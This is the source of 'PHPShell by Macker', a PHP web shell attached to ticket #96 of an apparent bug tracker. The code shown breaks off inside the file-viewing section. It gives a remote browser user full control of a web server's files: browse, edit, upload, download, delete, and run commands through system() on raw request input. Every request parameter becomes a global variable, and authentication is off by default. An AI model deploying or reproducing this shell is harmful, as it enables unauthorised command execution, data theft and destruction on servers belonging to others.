Ticket #96: phpshell.php

File phpshell.php, 37.2 KB (added by anonymous, 18 years ago)
Line 
1<?php
2
3/*
4*****************************************************************************************
5* PHPSHELL.PHP BY MACKER 30 March 2003 *
6*****************************************************************************************
7* *
8* Welcome to Macker's PHPShell script... *
9* This script will allow you to browse webservers etc... *
10* Just copy the file to your directory and open it in your Internet Browser. *
11* *
12* The webserver should support PHP... *
13* *
14* You can modify the script if you want, but please send me a copy to: *
15* DRAZZ01@HOTMAIL.COM *
16*****************************************************************************************
17
18!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
19!! PLEASE NOTE: You should use this script at own risk, it should do damage to the !!
20!! Sites or even the server... You are responsible for your own deeds. !!
21!! The admin of your webserver should always know you are using this !!
22!! script. !!
23!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
24*/
25
26
27/*Setting some envirionment variables...*/
28
29$SFileName=$PHP_SELF; /*I added this to ensure the script will run correctly...
30 Please enter the Script's filename in this variable.*
31
32 /* uncomment the two following variables if you want to use http
33 authentication. This will password protect your PHPShell */
34
35function walkArray($array){
36 while (list($key, $data) = each($array)) {
37 if (is_array($data)) {
38 walkArray($data);
39 }
40 else {
41 global $$key;
42 $$key = $data;
43 }
44 }
45}
46if (isset($_PUT)) walkArray($_PUT);
47if (isset($_GET)) walkArray($_GET);
48if (isset($_POST)) walkArray($_POST);
49
50error_reporting(0);
51$PHPVer=phpversion();
52$isGoodver=(intval($PHPVer[0])>=4);
53$scriptTitle = "PHPShell";
54$scriptident = "$scriptTitle by Macker";
55
56if (empty($Pmax))
57 $Pmax = 50; /* Identifies the max amount of Directories and files listed on one page */
58if (empty($Pidx))
59 $Pidx = 0;
60
61$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
62$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
63
64$scriptdate = "30 march 2003";
65$scriptver = "Version 2.6.3dev";
66$LOCAL_IMAGE_DIR = "img";
67$REMOTE_IMAGE_URL = "img";
68$img = array(
69 "Edit" => "edit.JPG",
70 "Download" => "download.JPG",
71 "Upload" => "upload.JPG",
72 "Delete" => "delete.JPG",
73 "View" => "view.JPG",
74 "Rename" => "rename.JPG",
75 "Move" => "move.JPG",
76 "Copy" => "copy.JPG",
77 "Execute" => "exec.JPG"
78 );
79
80while (list($id, $im)=each($img))
81 if (file_exists("$LOCAL_IMAGE_DIR/$im"))
82 $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
83 else
84 $img[$id] = "[$id]";
85
86
87/* HTTP AUTHENTICATION */
88
89 if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || md5($PHP_AUTH_PW) != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
90 setcookie("noauth","");
91 Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
92 Header( "HTTP/1.0 401 Unauthorized");
93 echo "Your username or password is incorrect";
94 echo "\n\n" . md5($PHP_AUTH_PW);
95 exit ;
96
97 }
98
99function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); }
100
101function Mydeldir($Fdir) {
102 if (is_dir($Fdir)) {
103 $Fh=@opendir($Fdir);
104 while ($Fbuf = readdir($Fh))
105 if (($Fbuf != ".") && ($Fbuf != ".."))
106 Mydeldir("$Fdir/$Fbuf");
107 @closedir($Fh);
108 return rmdir($Fdir);
109 } else {
110 return unlink($Fdir);
111 }
112}
113
114function formatsize($insize) {
115 $size = $insize;
116 $add = "B";
117 if ($size > 1024) {
118 $size = intval(intval($size) / 1.024)/1000;
119 $add = "KB";
120 }
121 if ($size > 1024) {
122 $size = intval(intval($size) / 1.024)/1000;
123 $add = "MB";
124 }
125 if ($size > 1024) {
126 $size = intval(intval($size) / 1.024)/1000;
127 $add = "GB";
128 }
129 if ($size > 1024) {
130 $size = intval(intval($size) / 1.024)/1000;
131 $add = "TB";
132 }
133 return "$size $add";
134}
135
136if ($cmd != "downl") {
137 ?>
138
139<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
140<HTML>
141 <HEAD>
142 <STYLE>
143 <!--
144 A{ text-decoration:none; color:navy; font-size: 12px }
145 body { font-size: 12px;
146 background-image: url(img/repeat.bmp);
147 scrollbar-width: 5;
148 scrollbar-face-color: silver;
149 scrollbar-shadow-color: gray;
150 scrollbar-highlight-color: white;
151 scrollbar-3dlight-color:black;
152 scrollbar-darkshadow-color: black;
153 scrollbar-track-color:#dddddd;
154 scrollbar-arrow-color: black;
155 }
156 Table { font-size: 12px; }
157 TR{ font-size: 12px; }
158 TD{ font-size: 12px; BORDER-LEFT: black 0px solid; BORDER-RIGHT: black 0px solid; BORDER-TOP: black 0px solid; BORDER-BOTTOM: black 0px solid; COLOR: black; }
159 .border{ BORDER-LEFT: black 1px solid;
160 BORDER-RIGHT: black 1px solid;
161 BORDER-TOP: black 1px solid;
162 BORDER-BOTTOM: black 1px solid;
163 }
164 .none { BORDER-LEFT: black 0px solid;
165 BORDER-RIGHT: black 0px solid;
166 BORDER-TOP: black 0px solid;
167 BORDER-BOTTOM: black 0px solid;
168 }
169 .inputtext {
170 background-color: #EFEFEF;
171 border: 1px solid #000000;
172 height: 20;
173 }
174 .inputbutton {
175 background-color: silver;
176 border: 1px solid #000000;
177 border-width: 1px;
178 height: 20;
179 }
180 .white {
181 background-color: #FFFFFF;
182 }
183 .inputtextarea {
184 background-color: #EFEFEF;
185 border: 1px solid #000000;
186 scrollbar-width: 5;
187 scrollbar-height: 5;
188 scrollbar-face-color: #EFEFEF;
189 scrollbar-shadow-color: silver;
190 scrollbar-highlight-color: #EFEFEF;
191 scrollbar-3dlight-color:silver;
192 scrollbar-darkshadow-color: silver;
193 scrollbar-track-color: #EFEFEF;
194 scrollbar-arrow-color: black;
195 }
196 .top { BORDER-TOP: black 1px solid; }
197 .textin { BORDER-LEFT: silver 1px solid;
198 BORDER-RIGHT: silver 1px solid;
199 BORDER-TOP: silver 1px solid;
200 BORDER-BOTTOM: silver 1px solid;
201 width: 99%; font-size: 12px; font-weight: bold; color: navy;
202 }
203 .notop { BORDER-TOP: black 0px solid; }
204 .bottom { BORDER-BOTTOM: black 1px solid; }
205 .nobottom { BORDER-BOTTOM: black 0px solid; }
206 .left { BORDER-LEFT: black 1px solid; }
207 .noleft { BORDER-LEFT: black 0px solid; }
208 .right { BORDER-RIGHT: black 1px solid; }
209 .noright { BORDER-RIGHT: black 0px solid; }
210 .silver{ BACKGROUND: silver; }
211 -->
212 </STYLE>
213 <TITLE><?php echo $SFileName ?></TITLE>
214 </HEAD>
215 <body bottommargin="0" rightmargin="0" topmargin="0" leftmargin="0">
216 <table width=100% height="100%" NOWRAP border="0">
217 <tr NOWRAP>
218 <td width="100%" NOWRAP>
219 <table NOWRAP width=100% height="100%" border="0" cellpadding="0" cellspacing="0">
220 <tr>
221 <td width="100%" height="15" class="silver border">
222 <center>
223 <strong>
224 <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
225 </strong>
226 </center>
227 </td>
228 </tr>
229 <tr><td valign="middle"><br>
230
231 <?php
232}
233
234if ( $cmd=="dir" ) {
235 $h=@opendir($dir);
236 if ($h == false) {
237 echo "<br><font color=\"red\">&nbsp;&nbsp;&nbsp;\n\n\n\n
238 COULD NOT OPEN THIS DIRECTORY!!!<br>&nbsp;&nbsp;&nbsp;\n
239 THE SCRIPT WILL RESULT IN AN ERROR!!!
240 <br><br>&nbsp;&nbsp;&nbsp;\n
241 PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
242 <br><br></font>\n\n\n\n";
243 }
244 if (function_exists('realpath')) {
245 $partdir = realpath($dir);
246 }
247 else {
248 $partdir = $dir;
249 }
250 if (strlen($partdir) >= 100) {
251 $partdir = substr($partdir, -100);
252 $pos = strpos($partdir, "/");
253 if (strval($pos) != "") {
254 $partdir = "<-- ...".substr($partdir, $pos);
255 }
256 $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
257 $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
258 $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
259 }
260 ?>
261 <form name="urlform" action="<?php echo $SFileName ?>"><input type="hidden" name="cmd" value="dir">
262 <table class="white" NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
263 <tr>
264 <td width="100%" class="silver border">
265 <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center>
266 </td>
267 </tr>
268 </table>
269 <br>
270 <table class="white" width="100%" border="0" cellpadding="0" cellspacing="0">
271 <tr>
272 <td class="border nobottom noright">
273 &nbsp;Browsing:&nbsp;
274 </td>
275 <td width="100%" class="border nobottom noleft">
276 <table width="100%" border="0" cellpadding="1" cellspacing="0">
277 <tr>
278 <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
279 <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td>
280 </tr>
281 </table>
282
283 </td>
284 </tr>
285 </table>
286 <!-- </form> -->
287 <table class="white" NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
288 <tr>
289 <td width="100%" NOWRAP class="silver border">
290 &nbsp;Filename&nbsp;
291 </td>
292 <td NOWRAP class="silver border noleft">
293 &nbsp;Actions&nbsp;(Attempt to perform)&nbsp;
294 </td>
295 <td NOWRAP class="silver border noleft">
296 &nbsp;Size&nbsp;
297 </td>
298 <td width=1 NOWRAP class="silver border noleft">
299 &nbsp;Attributes&nbsp;
300 </td>
301 <td NOWRAP class="silver border noleft">
302 &nbsp;Modification Date&nbsp;
303 </td>
304 <tr>
305 <?php
306
307
308 /* <!-- This whole heap of junk is the sorting section... */
309
310 $dirn = array();
311 $filen = array();
312 $filesizes = 0;
313 while ($buf = readdir($h)) {
314 if (is_dir("$dir/$buf"))
315 $dirn[] = $buf;
316 else {
317 $size = @filesize("$dir/$buf");
318 If ($size != false) {
319 $filesizes = $filesizes + $size;
320 }
321 $filen[] = $buf;
322 } }
323 $dirno = count($dirn) + 1;
324 $fileno = count($filen) + 1;
325
326 function mycmp($a, $b){
327 if ($a == $b) return 0;
328 return (strtolower($a) < strtolower($b)) ? -1 : 1;
329 }
330
331 if (function_exists("usort")) {
332 usort($dirn, "mycmp");
333 usort($filen, "mycmp");
334 }
335 else {
336 sort ($dirn);
337 sort ($filen);
338 }
339 reset ($dirn);
340 reset ($filen);
341 if (function_exists('array_merge')) {
342 $filelist = array_merge ($dirn, $filen);
343 }
344 else {
345 $filelist = $dirn + $filen;
346 }
347
348
349 if ( count($filelist)-1 > $Pmax ) {
350 $from = $Pidx * $Pmax;
351 $to = ($Pidx + 1) * $Pmax-1;
352 if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
353 $to = count($filelist) - 1;
354 if ($to > count($filelist)-1)
355 $to = count($filelist)-1;
356 $Dcontents = array();
357 For ($Fi = $from; $Fi <= $to; $Fi++) {
358 $Dcontents[] = $filelist[$Fi];
359 }
360
361 }
362 else {
363 $Dcontents = $filelist;
364 }
365
366 while (list ($key, $file) = each ($Dcontents)) {
367 if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
368 /* <!-- Dirname --> */
369 echo "<tr><td NOWRAP class=\"top left right\">&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=dir&dir=$dir/$file\">[$file]</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\n";
370 /* <!-- Actions --> */
371 echo "<td NOWRAP class=\"top right\"><center>&nbsp;&nbsp;\n";
372 /* <!-- Rename --> */
373 if ( ($file != ".") && ($file != "..") )
374 echo "<a href=\"$SFileName?cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file\">".$img["Rename"]."</a>&nbsp;&nbsp;&nbsp;\n";
375 /* <!-- Delete --> */
376 if ( ($file != ".") && ($file != "..") )
377 echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir\">".$img["Delete"]."</a>\n";
378 /* <!-- End of Actions --> */
379 echo "&nbsp;&nbsp;</center></td>\n";
380 /* <!-- Size --> */
381 echo "<td NOWRAP class=\"top right\">&nbsp;</td>\n";
382 /* <!-- Attributes --> */
383 echo "<td NOWRAP class=\"top right\">&nbsp;&nbsp;\n";
384 echo "<strong>D</strong>";
385 if ( @is_readable("$dir/$file") ) {
386 echo "<strong>R</strong>";
387 }
388 if (function_exists('is_writeable')) {
389 if ( @is_writeable("$dir/$file") ) {
390 echo "<strong>W</stong>";
391 }
392 }
393 else {
394 echo "<strong>(W)</stong>";
395 }
396 if ( @is_executable("$dir/$file") ) {
397 echo "<Strong>X<strong>";
398 }
399 echo "&nbsp;&nbsp;</td>\n";
400 /* <!-- Date --> */
401 echo "<td NOWRAP class=\"top right\" NOWRAP>\n";
402 echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
403 echo "</td>";
404 echo "</tr>\n";
405
406 }
407 else { /* <!-- Then it must be a File... --> */
408 /* <!-- Filename --> */
409 if ( @is_readable("$dir/$file") )
410 echo "<tr><td NOWRAP class=\"top left right\">&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=file&file=$dir/$file\">$file</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\n";
411 else
412 echo "<tr><td NOWRAP class=\"top left right\">&nbsp;&nbsp;&nbsp;$file&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\n";
413 /* <!-- Actions --> */
414 echo "<td NOWRAP class=\"top right\"><center>&nbsp;&nbsp;\n";
415 /* <!-- Rename --> */
416 echo "<a href=\"$SFileName?cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file\">".$img["Rename"]."</a>&nbsp;&nbsp;&nbsp;\n";
417 /* <!-- Edit --> */
418 if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
419 echo "<a href=\"$SFileName?cmd=edit&file=$dir/$file\">".$img["Edit"]."</a>&nbsp;&nbsp;&nbsp;\n";
420 /* <!-- Copy --> */
421 echo "<a href=\"$SFileName?cmd=copy&file=$dir/$file\">".$img["Copy"]."</a>\n";
422 /* <!-- Move --> */
423 if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
424 echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=move&file=$dir/$file\">".$img["Move"]."</a>\n";
425 /* <!-- Delete --> */
426 echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir\">".$img["Delete"]."</a>\n";
427 /* <!-- Download --> */
428 echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=downl&file=$dir/$file\">".$img["Download"]."</a>\n";
429 /* <!-- Execute --> */
430 if ( @is_executable("$dir/$file") )
431 echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=execute&file=$dir/$file\">".$img["Execute"]."</a>\n";
432 /* <!-- End of Actions --> */
433 echo "&nbsp;&nbsp;</center></td>\n";
434 /* <!-- Size --> */
435 echo "<td NOWRAP align=\"right\" class=\"top right\" NOWRAP >\n";
436 $size = @filesize("$dir/$file");
437 If ($size != false)
438 echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
439 else
440 echo "&nbsp;&nbsp;<strong>0 B<strong>";
441 echo "&nbsp;&nbsp;</td>\n";
442
443 /* <!-- Attributes --> */
444 echo "<td NOWRAP class=\"top right\">&nbsp;&nbsp;\n";
445
446 if ( @is_readable("$dir/$file") )
447 echo "<strong>R</strong>";
448 if ( @is_writeable("$dir/$file") )
449 echo "<strong>W</stong>";
450 if ( @is_executable("$dir/$file") )
451 echo "<Strong>X<strong>";
452 if (function_exists('is_uploaded_file')){
453 if ( @is_uploaded_file("$dir/$file") )
454 echo "<Strong>U<strong>";
455 }
456 else {
457 echo "<Strong>(U)<strong>";
458 }
459 echo "&nbsp;&nbsp;</td>\n";
460 /* <!-- Date --> */
461 echo "<td NOWRAP class=\"top right\" NOWRAP>\n";
462 echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
463 echo "</td>";
464 echo "</tr>\n";
465 }
466 }
467
468 echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
469 echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n";
470 echo "</td><td NOWRAP class=\"silver border noleft\">\n";
471 echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n";
472
473 function printpagelink($a, $b, $link = ""){
474 if ($link != "")
475 echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
476 else
477 echo "<b>| $a - $b |</b>";
478 }
479
480 if ( count($filelist)-1 > $Pmax ) {
481 echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
482 $Fi = 0;
483 while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
484 $from = $Fi*$Pmax;
485 while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
486 $to = ($Fi + 1) * $Pmax - 1;
487 if ($Fi == $Pidx)
488 $link="";
489 else
490 $link="$SFilename?cmd=$cmd&dir=$dir&Pidx=$Fi";
491 printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
492 echo "&nbsp;&nbsp;&nbsp;";
493 $Fi++;
494 }
495 $from = $Fi*$Pmax;
496 while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
497 $to = count($filelist)-1;
498 if ($Fi == $Pidx)
499 $link="";
500 else
501 $link="$SFilename?cmd=$cmd&dir=$dir&Pidx=$Fi";
502 printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
503
504
505 echo "</center></td></tr></table></td></tr>";
506 }
507
508
509 echo "</table>\n<br><table NOWRAP>";
510
511 if ($isGoodver) {
512 echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n";
513 }
514 else {
515 echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n";
516 }
517 /* <!-- Other Actions --> */
518 echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n";
519 echo "<td>&nbsp;<b><a href=\"$SFileName?cmd=newfile&lastcmd=dir&lastdir=$dir\">| New File |</a>\n&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=newdir&lastcmd=dir&lastdir=$dir\">| New Directory |</a>\n&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir\">| Upload a File |</a></b>\n</td></tr>\n";
520 echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n";
521 echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n";
522 echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n";
523 echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n";
524 echo "<table NOWRAP>";
525 echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n";
526 echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n";
527 echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n";
528 echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n";
529 echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n";
530 echo "</table></td>";
531 echo "</table>";
532 echo "<br>";
533 @closedir($h);
534 }
535 elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
536 echo system("$file");
537 }
538elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
539 echo "<center><table><tr><td NOWRAP>" ;
540 if ($auth == "yes") {
541 if (Mydeldir($file)==false) {
542 echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
543 }
544 else {
545 echo "Successfully removed \"$file\"<br>";
546 }
547 echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
548 }
549 else {
550 echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
551 <form action=\"$SFileName\" method=\"POST\">
552 <input type=\"hidden\" name=\"cmd\" value=\"deldir\">
553 <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
554 <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
555 <input type=\"hidden\" name=\"file\" value=\"$file\">
556 <input type=\"hidden\" name=\"auth\" value=\"yes\">
557 <input type=\"submit\" value=\"Yes\"></form>
558 <form action=\"$SFileName\" method=\"POST\">
559 <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
560 <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
561 <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
562 }
563 echo "</td></tr></center>";
564}
565 elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ;
566 if ($auth == "yes") {
567 if (@unlink($file)==false) {
568 echo "Could not remove \"$file\"<br>";
569 }
570 else {
571 echo "Successfully removed \"$file\"<br>";
572 }
573 echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
574 }
575 else {
576 echo "Are you sure you want to delete \"$file\" ?
577 <form action=\"$SFileName\" method=\"POST\">
578 <input type=\"hidden\" name=\"cmd\" value=\"delfile\">
579 <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
580 <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
581 <input type=\"hidden\" name=\"file\" value=\"$file\">
582 <input type=\"hidden\" name=\"auth\" value=\"yes\">
583
584 <input type=\"submit\" value=\"Yes\"></form>
585 <form action=\"$SFileName\" method=\"POST\">
586 <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
587 <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
588 <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
589 }
590 echo "</td></tr></center>";
591}
592elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
593 echo "<center><table><tr><td NOWRAP>";
594 $i = 1;
595 while (file_exists("$lastdir/newfile$i.txt"))
596 $i++;
597 $file = fopen("$lastdir/newfile$i.txt", "w+");
598 if ($file == false)
599 echo "Could not create the new file...<br>";
600 else
601 echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
602 echo "
603 <form action=\"$SFileName\" method=\"POST\">
604 <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
605 <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
606 <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
607 </form></center>
608 </td></tr></table></center> ";
609 }
610elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
611 echo "<center><table><tr><td NOWRAP>" ;
612 $i = 1;
613 while (is_dir("$lastdir/newdir$i"))
614 $i++;
615 $file = mkdir("$lastdir/newdir$i", 0777);
616 if ($file == false)
617 echo "Could not create the new directory...<br>";
618 else
619 echo "Successfully created: \"$lastdir/newdir$i\"<br>";
620 echo "<form action=\"$SFileName\" method=\"POST\">
621 <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
622 <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
623 <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
624 </form></center></td></tr></table></center>";
625}
626elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
627 $contents = "";
628 $fc = @file( $file );
629 while ( @list( $ln, $line ) = each( $fc ) ) {
630 $contents .= htmlentities( $line ) ;
631 }
632 echo "<br><center><table><tr><td NOWRAP>";
633 echo "<form action=\"$SFileName\" method=\"post\">\n";
634 echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
635 echo "<strong>EDIT FILE: </strong>$file<br>\n";
636 echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
637 echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
638 echo "<input type=\"submit\" value=\"Save\">";
639 echo "</form>";
640 echo "</td></tr></table></center>";
641}
642elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
643 $fo = fopen($file, "w");
644 $wrret = fwrite($fo, stripslashes($contents));
645 $clret = fclose($fo);
646}
647elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
648 $downloadfile = urldecode($file);
649 if (function_exists("basename"))
650 $downloadto = basename ($downloadfile);
651 else
652 $downloadto = "download.ext";
653 if (!file_exists("$downloadfile"))
654 echo "The file does not exist";
655 else {
656 $size = @filesize("$downloadfile");
657 if ($size != false) {
658 $add="; size=$size";
659 }
660 else {
661 $add="";
662 }
663 header("Content-Type: application/download");
664 header("Content-Disposition: attachment; filename=$downloadto$add");
665 $fp=fopen("$downloadfile" ,"rb");
666 fpassthru($fp);
667 flush();
668 }
669}
670elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
671 ?>
672 <center>
673 <table>
674 <tr>
675 <td NOWRAP>
676 Welcome to the upload section...
677 Please note that the destination file will be
678 <br> overwritten if it already exists!!!<br><br>
679 <form enctype="multipart/form-data" action="<?php echo $SFileName ?>" method="post">
680 <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
681 <input type="hidden" name="cmd" value="uploadproc">
682 <input type="hidden" name="dir" value="<?php echo $dir ?>">
683 <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
684 <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
685 Select local file:<br>
686 <input size="75" name="userfile" type="file"><br>
687 <input type="submit" value="Send File">
688 </form>
689 <br>
690 <form action="<?php echo $SFileName ?>" method="POST">
691 <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
692 <input type="hidden" name="dir" value="<?php echo $lastdir ?>">
693 <input tabindex="0" type="submit" value="Cancel">
694 </form>
695 </td>
696 </tr>
697 </table>
698 </center>
699
700 <?php
701}
702elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
703 echo "<center><table><tr><td NOWRAP>";
704 if (file_exists($userfile))
705 $res = copy($userfile, "$dir/$userfile_name");
706 echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
707 if ($res) {
708 echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
709 echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>";
710 echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
711 }
712 else {
713 echo "Could not move uploaded file; Action aborted...";
714 }
715 echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
716 echo "<br><br></td></tr></table></center>";
717}
718elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
719 $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
720 $total .= $line."";
721 }
722 //echo spacetonbsp(@htmlentities($line))."<br>\n";
723 ob_start();
724 highlight_string ($total);
725 $raw = ob_get_contents();
726 ob_end_clean();
727
728 $raw = explode ( '<br />', $raw );
729 $ml = strlen ( count ( $raw ) );
730 for ( $i = 0; $i < count ( $raw ); $i++ ) {
731 if ( !isset ( $noline ) ) {
732 $gap = ( $ml - strlen ( $i ) );
